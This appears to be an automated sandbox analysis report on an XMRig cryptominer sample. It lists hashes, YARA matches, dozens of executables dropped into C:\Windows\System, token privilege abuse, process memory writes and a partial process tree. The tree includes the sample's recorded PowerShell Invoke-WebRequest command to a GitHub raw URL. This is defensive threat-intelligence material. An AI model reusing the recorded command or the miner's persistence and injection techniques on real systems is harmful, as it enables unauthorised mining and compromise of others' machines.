xmrig | 2b93c9851ec9a01314b84d7c3e82bd33d27745043d7ae5406897b0414c4c933f

Analysis

max time kernel
120s
max time network
117s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
01-09-2024 03:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

14ef9060bf69907de2d8906d59a9b1b0N.exe
Size

3.2MB
MD5

14ef9060bf69907de2d8906d59a9b1b0
SHA1

9c7dd4aebfccf85e4500c136400ae7702b5ec472
SHA256

2b93c9851ec9a01314b84d7c3e82bd33d27745043d7ae5406897b0414c4c933f
SHA512

f266d9759ae7b31e65e30482432dfa48b8386d8ade0a30c5b84259f4988e4061072fb3f9dc8d7aef2da426e0d6ba82958937e695b957f6473c8db6269d6f4f10
SSDEEP

98304:71ONtyBeSFkXV1etEKLlWUTOfeiRA2R76zHrWk:7bBeSFkQ

Score

10^/10

xmrig execution miner persistence privilege_escalation upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 52 IoCs

miner

resource	yara_rule
behavioral1/memory/2504-0-0x000000013F2A0000-0x000000013F696000-memory.dmp	xmrig
behavioral1/files/0x00080000000120f4-6.dat	xmrig
behavioral1/files/0x0008000000016d67-8.dat	xmrig
behavioral1/files/0x0008000000016d6b-11.dat	xmrig
behavioral1/files/0x0007000000016d9f-24.dat	xmrig
behavioral1/files/0x0007000000016db1-27.dat	xmrig
behavioral1/files/0x00090000000171b9-39.dat	xmrig
behavioral1/files/0x0006000000018bd2-43.dat	xmrig
behavioral1/files/0x000600000001902b-47.dat	xmrig
behavioral1/files/0x0005000000019372-63.dat	xmrig
behavioral1/files/0x0005000000019412-71.dat	xmrig
behavioral1/files/0x000500000001941e-73.dat	xmrig
behavioral1/files/0x000500000001938f-67.dat	xmrig
behavioral1/files/0x0005000000019354-59.dat	xmrig
behavioral1/files/0x000500000001927e-55.dat	xmrig
behavioral1/files/0x000500000001927c-52.dat	xmrig
behavioral1/files/0x00050000000194e7-116.dat	xmrig
behavioral1/files/0x0005000000019568-126.dat	xmrig
behavioral1/files/0x00050000000194b9-111.dat	xmrig
behavioral1/files/0x000500000001948a-101.dat	xmrig
behavioral1/files/0x000500000001960b-159.dat	xmrig
behavioral1/memory/2296-228-0x000000013F620000-0x000000013FA16000-memory.dmp	xmrig
behavioral1/memory/2776-227-0x000000013F730000-0x000000013FB26000-memory.dmp	xmrig
behavioral1/memory/2688-225-0x000000013F850000-0x000000013FC46000-memory.dmp	xmrig
behavioral1/memory/2892-222-0x000000013F580000-0x000000013F976000-memory.dmp	xmrig
behavioral1/memory/2920-218-0x000000013F7D0000-0x000000013FBC6000-memory.dmp	xmrig
behavioral1/memory/2240-215-0x000000013FCD0000-0x00000001400C6000-memory.dmp	xmrig
behavioral1/memory/2788-212-0x000000013F0E0000-0x000000013F4D6000-memory.dmp	xmrig
behavioral1/memory/2496-208-0x000000013F830000-0x000000013FC26000-memory.dmp	xmrig
behavioral1/memory/2820-199-0x000000013F050000-0x000000013F446000-memory.dmp	xmrig
behavioral1/memory/2876-204-0x000000013FF70000-0x0000000140366000-memory.dmp	xmrig
behavioral1/memory/2436-188-0x000000013FA40000-0x000000013FE36000-memory.dmp	xmrig
behavioral1/memory/2840-184-0x000000013FCC0000-0x00000001400B6000-memory.dmp	xmrig
behavioral1/files/0x000500000001960f-169.dat	xmrig
behavioral1/files/0x000500000001960d-165.dat	xmrig
behavioral1/files/0x000500000001958d-149.dat	xmrig
behavioral1/files/0x00050000000195c7-153.dat	xmrig
behavioral1/files/0x0008000000016d3a-144.dat	xmrig
behavioral1/files/0x000f0000000054a8-94.dat	xmrig
behavioral1/files/0x00050000000194ab-109.dat	xmrig
behavioral1/files/0x0006000000019456-105.dat	xmrig
behavioral1/files/0x0005000000019431-92.dat	xmrig
behavioral1/files/0x0009000000017093-36.dat	xmrig
behavioral1/files/0x000700000001703d-32.dat	xmrig
behavioral1/files/0x0008000000016d6f-20.dat	xmrig
behavioral1/memory/2876-5476-0x000000013FF70000-0x0000000140366000-memory.dmp	xmrig
behavioral1/memory/2788-5475-0x000000013F0E0000-0x000000013F4D6000-memory.dmp	xmrig
behavioral1/memory/2892-5480-0x000000013F580000-0x000000013F976000-memory.dmp	xmrig
behavioral1/memory/2240-5481-0x000000013FCD0000-0x00000001400C6000-memory.dmp	xmrig
behavioral1/memory/2776-5482-0x000000013F730000-0x000000013FB26000-memory.dmp	xmrig
behavioral1/memory/2496-5483-0x000000013F830000-0x000000013FC26000-memory.dmp	xmrig
behavioral1/memory/2820-5479-0x000000013F050000-0x000000013F446000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1612	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2296	gCAJtJo.exe
2840	Wsrbtpx.exe
2436	QxWGFot.exe
2820	AKeSUlx.exe
2876	bhLBVjD.exe
2496	yYUzbEo.exe
2788	pdkPiDK.exe
2240	WebklGo.exe
2920	OAzpihs.exe
2892	JtmaqUh.exe
2688	NEbaEpB.exe
2776	NZyaEiy.exe
2656	eETVcNF.exe
2728	RVgGMVG.exe
2316	uzUraSb.exe
1976	dSTlNlj.exe
1932	wqgxNZP.exe
2560	sAPjXYt.exe
1040	ZzQvqSZ.exe
1568	STWYyuS.exe
1140	dvJVqRz.exe
2888	BiiVjVb.exe
1188	VBAOHuq.exe
1636	QnSBAkV.exe
2292	ROAhHIY.exe
1648	yzaEuxG.exe
804	hxZNcWl.exe
564	PhpeRjK.exe
2236	AoYGOmd.exe
2468	yfAvXzj.exe
3064	FkBSiKp.exe
964	MfZYKJv.exe
640	gUXnqVR.exe
1632	snJECGA.exe
1880	zyUPhpX.exe
1444	YZbMUFN.exe
2036	sRFdVIJ.exe
912	RnUkLfB.exe
580	HefgQEK.exe
1960	AzLZIrr.exe
692	EvSlrvX.exe
1500	dnblNnx.exe
2568	HWkAXHi.exe
2068	wrFxzie.exe
2224	CImIIqi.exe
1372	wvuQDvc.exe
1168	cuLjRHa.exe
1676	UUnwedS.exe
1940	eNAXUAL.exe
1980	rExEuaQ.exe
2248	olsHGrt.exe
1488	joPyumn.exe
1492	hOrVtIy.exe
1604	CBXDCeC.exe
2108	KxayHdW.exe
2864	RxyxIzp.exe
2208	vDiiSJB.exe
2780	QGjkQxR.exe
2848	FUtzGcz.exe
2828	lWaoXNG.exe
2680	vqqYLpU.exe
2720	BxWiuUn.exe
1912	obxXXVW.exe
2992	fLGRHyd.exe

Loads dropped DLL 64 IoCs

pid	Process
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
2504	14ef9060bf69907de2d8906d59a9b1b0N.exe

UPX packed file 53 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2504-0-0x000000013F2A0000-0x000000013F696000-memory.dmp	upx
behavioral1/files/0x00080000000120f4-6.dat	upx
behavioral1/files/0x0008000000016d67-8.dat	upx
behavioral1/files/0x0008000000016d6b-11.dat	upx
behavioral1/files/0x0007000000016d9f-24.dat	upx
behavioral1/files/0x0007000000016db1-27.dat	upx
behavioral1/files/0x00090000000171b9-39.dat	upx
behavioral1/files/0x0006000000018bd2-43.dat	upx
behavioral1/files/0x000600000001902b-47.dat	upx
behavioral1/files/0x0005000000019372-63.dat	upx
behavioral1/files/0x0005000000019412-71.dat	upx
behavioral1/files/0x000500000001941e-73.dat	upx
behavioral1/files/0x000500000001938f-67.dat	upx
behavioral1/files/0x0005000000019354-59.dat	upx
behavioral1/files/0x000500000001927e-55.dat	upx
behavioral1/files/0x000500000001927c-52.dat	upx
behavioral1/files/0x00050000000194e7-116.dat	upx
behavioral1/memory/2504-75-0x0000000002DD0000-0x00000000031C6000-memory.dmp	upx
behavioral1/files/0x0005000000019568-126.dat	upx
behavioral1/files/0x00050000000194b9-111.dat	upx
behavioral1/files/0x000500000001948a-101.dat	upx
behavioral1/files/0x000500000001960b-159.dat	upx
behavioral1/memory/2296-228-0x000000013F620000-0x000000013FA16000-memory.dmp	upx
behavioral1/memory/2776-227-0x000000013F730000-0x000000013FB26000-memory.dmp	upx
behavioral1/memory/2688-225-0x000000013F850000-0x000000013FC46000-memory.dmp	upx
behavioral1/memory/2892-222-0x000000013F580000-0x000000013F976000-memory.dmp	upx
behavioral1/memory/2920-218-0x000000013F7D0000-0x000000013FBC6000-memory.dmp	upx
behavioral1/memory/2240-215-0x000000013FCD0000-0x00000001400C6000-memory.dmp	upx
behavioral1/memory/2788-212-0x000000013F0E0000-0x000000013F4D6000-memory.dmp	upx
behavioral1/memory/2496-208-0x000000013F830000-0x000000013FC26000-memory.dmp	upx
behavioral1/memory/2820-199-0x000000013F050000-0x000000013F446000-memory.dmp	upx
behavioral1/memory/2876-204-0x000000013FF70000-0x0000000140366000-memory.dmp	upx
behavioral1/memory/2436-188-0x000000013FA40000-0x000000013FE36000-memory.dmp	upx
behavioral1/memory/2840-184-0x000000013FCC0000-0x00000001400B6000-memory.dmp	upx
behavioral1/files/0x000500000001960f-169.dat	upx
behavioral1/files/0x000500000001960d-165.dat	upx
behavioral1/files/0x000500000001958d-149.dat	upx
behavioral1/files/0x00050000000195c7-153.dat	upx
behavioral1/files/0x0008000000016d3a-144.dat	upx
behavioral1/files/0x000f0000000054a8-94.dat	upx
behavioral1/files/0x00050000000194ab-109.dat	upx
behavioral1/files/0x0006000000019456-105.dat	upx
behavioral1/files/0x0005000000019431-92.dat	upx
behavioral1/files/0x0009000000017093-36.dat	upx
behavioral1/files/0x000700000001703d-32.dat	upx
behavioral1/files/0x0008000000016d6f-20.dat	upx
behavioral1/memory/2876-5476-0x000000013FF70000-0x0000000140366000-memory.dmp	upx
behavioral1/memory/2788-5475-0x000000013F0E0000-0x000000013F4D6000-memory.dmp	upx
behavioral1/memory/2892-5480-0x000000013F580000-0x000000013F976000-memory.dmp	upx
behavioral1/memory/2240-5481-0x000000013FCD0000-0x00000001400C6000-memory.dmp	upx
behavioral1/memory/2776-5482-0x000000013F730000-0x000000013FB26000-memory.dmp	upx
behavioral1/memory/2496-5483-0x000000013F830000-0x000000013FC26000-memory.dmp	upx
behavioral1/memory/2820-5479-0x000000013F050000-0x000000013F446000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\MRlNvnT.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\iVHMXxR.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\ZqTxdGo.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\JxBFTKv.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\gsDCfNb.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\AtAJgfL.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\fEOGLKp.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\tlOnGro.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\XsDMTSx.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\AuymPPU.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\nOPvIcE.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\nOyzKMj.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\AIyzHka.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\FNmPlfn.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\Vphqeuc.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\YOgyIJe.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\cnXjzZN.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\ihgGgIZ.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\AAEzxqI.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\NfjnnqN.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\HFWGAeC.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\LuDAPRs.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\RjNRDxP.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\emkHMBq.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\tKAZCko.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\gFqRDor.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\zOHGqcD.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\ApUAbgG.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\DUWAbSH.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\spUMtYN.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\hQQINAt.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\jdXkAek.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\YEhXQYc.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\tLFXQaS.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\KgkrnzT.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\jAqfiIX.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\HAIrOIN.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\lJgPXsy.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\JBiquwY.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\RbMhPeG.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\SgcwbAx.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\ZwJaXja.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\XMEOSva.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\frJTTnm.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\wduMDXn.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\ttTKatW.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\vXisfwS.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\wzodFbp.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\PgCXHyl.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\SmZvBVO.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\nrVhdEP.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\yevDLRE.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\RgMXenH.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\urcYGxA.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\GdSIaKY.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\oKrRpSl.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\oLQhnZL.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\aKoWRip.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\FtfgXPJ.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\qClHUZY.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\wBVRXFN.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\GbpoLSZ.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\guBHLWi.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe
File created	C:\Windows\System\ezQfYYh.exe	14ef9060bf69907de2d8906d59a9b1b0N.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1612	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
Token: SeLockMemoryPrivilege	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe
Token: SeDebugPrivilege	1612	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 1612	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	31
PID 2504 wrote to memory of 1612	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	31
PID 2504 wrote to memory of 1612	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	31
PID 2504 wrote to memory of 2296	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	32
PID 2504 wrote to memory of 2296	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	32
PID 2504 wrote to memory of 2296	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	32
PID 2504 wrote to memory of 2436	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	33
PID 2504 wrote to memory of 2436	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	33
PID 2504 wrote to memory of 2436	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	33
PID 2504 wrote to memory of 2840	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	34
PID 2504 wrote to memory of 2840	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	34
PID 2504 wrote to memory of 2840	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	34
PID 2504 wrote to memory of 2820	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	35
PID 2504 wrote to memory of 2820	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	35
PID 2504 wrote to memory of 2820	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	35
PID 2504 wrote to memory of 2876	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	36
PID 2504 wrote to memory of 2876	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	36
PID 2504 wrote to memory of 2876	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	36
PID 2504 wrote to memory of 2496	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	37
PID 2504 wrote to memory of 2496	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	37
PID 2504 wrote to memory of 2496	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	37
PID 2504 wrote to memory of 2788	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	38
PID 2504 wrote to memory of 2788	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	38
PID 2504 wrote to memory of 2788	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	38
PID 2504 wrote to memory of 2240	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	39
PID 2504 wrote to memory of 2240	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	39
PID 2504 wrote to memory of 2240	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	39
PID 2504 wrote to memory of 2920	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	40
PID 2504 wrote to memory of 2920	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	40
PID 2504 wrote to memory of 2920	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	40
PID 2504 wrote to memory of 2892	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	41
PID 2504 wrote to memory of 2892	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	41
PID 2504 wrote to memory of 2892	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	41
PID 2504 wrote to memory of 2688	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	42
PID 2504 wrote to memory of 2688	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	42
PID 2504 wrote to memory of 2688	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	42
PID 2504 wrote to memory of 2776	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	43
PID 2504 wrote to memory of 2776	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	43
PID 2504 wrote to memory of 2776	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	43
PID 2504 wrote to memory of 2656	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	44
PID 2504 wrote to memory of 2656	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	44
PID 2504 wrote to memory of 2656	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	44
PID 2504 wrote to memory of 2728	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	45
PID 2504 wrote to memory of 2728	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	45
PID 2504 wrote to memory of 2728	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	45
PID 2504 wrote to memory of 2316	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	46
PID 2504 wrote to memory of 2316	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	46
PID 2504 wrote to memory of 2316	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	46
PID 2504 wrote to memory of 1976	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	47
PID 2504 wrote to memory of 1976	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	47
PID 2504 wrote to memory of 1976	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	47
PID 2504 wrote to memory of 1932	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	48
PID 2504 wrote to memory of 1932	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	48
PID 2504 wrote to memory of 1932	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	48
PID 2504 wrote to memory of 2888	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	49
PID 2504 wrote to memory of 2888	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	49
PID 2504 wrote to memory of 2888	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	49
PID 2504 wrote to memory of 2560	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	50
PID 2504 wrote to memory of 2560	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	50
PID 2504 wrote to memory of 2560	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	50
PID 2504 wrote to memory of 1188	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	51
PID 2504 wrote to memory of 1188	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	51
PID 2504 wrote to memory of 1188	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	51
PID 2504 wrote to memory of 1040	2504	14ef9060bf69907de2d8906d59a9b1b0N.exe	52

C:\Users\Admin\AppData\Local\Temp\14ef9060bf69907de2d8906d59a9b1b0N.exe
"C:\Users\Admin\AppData\Local\Temp\14ef9060bf69907de2d8906d59a9b1b0N.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1612
- C:\Windows\System\gCAJtJo.exe
  C:\Windows\System\gCAJtJo.exe
  2⤵
  - Executes dropped EXE
  PID:2296
- C:\Windows\System\QxWGFot.exe
  C:\Windows\System\QxWGFot.exe
  2⤵
  - Executes dropped EXE
  PID:2436
- C:\Windows\System\Wsrbtpx.exe
  C:\Windows\System\Wsrbtpx.exe
  2⤵
  - Executes dropped EXE
  PID:2840
- C:\Windows\System\AKeSUlx.exe
  C:\Windows\System\AKeSUlx.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\bhLBVjD.exe
  C:\Windows\System\bhLBVjD.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Windows\System\yYUzbEo.exe
  C:\Windows\System\yYUzbEo.exe
  2⤵
  - Executes dropped EXE
  PID:2496
- C:\Windows\System\pdkPiDK.exe
  C:\Windows\System\pdkPiDK.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\WebklGo.exe
  C:\Windows\System\WebklGo.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\OAzpihs.exe
  C:\Windows\System\OAzpihs.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Windows\System\JtmaqUh.exe
  C:\Windows\System\JtmaqUh.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\NEbaEpB.exe
  C:\Windows\System\NEbaEpB.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\NZyaEiy.exe
  C:\Windows\System\NZyaEiy.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\eETVcNF.exe
  C:\Windows\System\eETVcNF.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\RVgGMVG.exe
  C:\Windows\System\RVgGMVG.exe
  2⤵
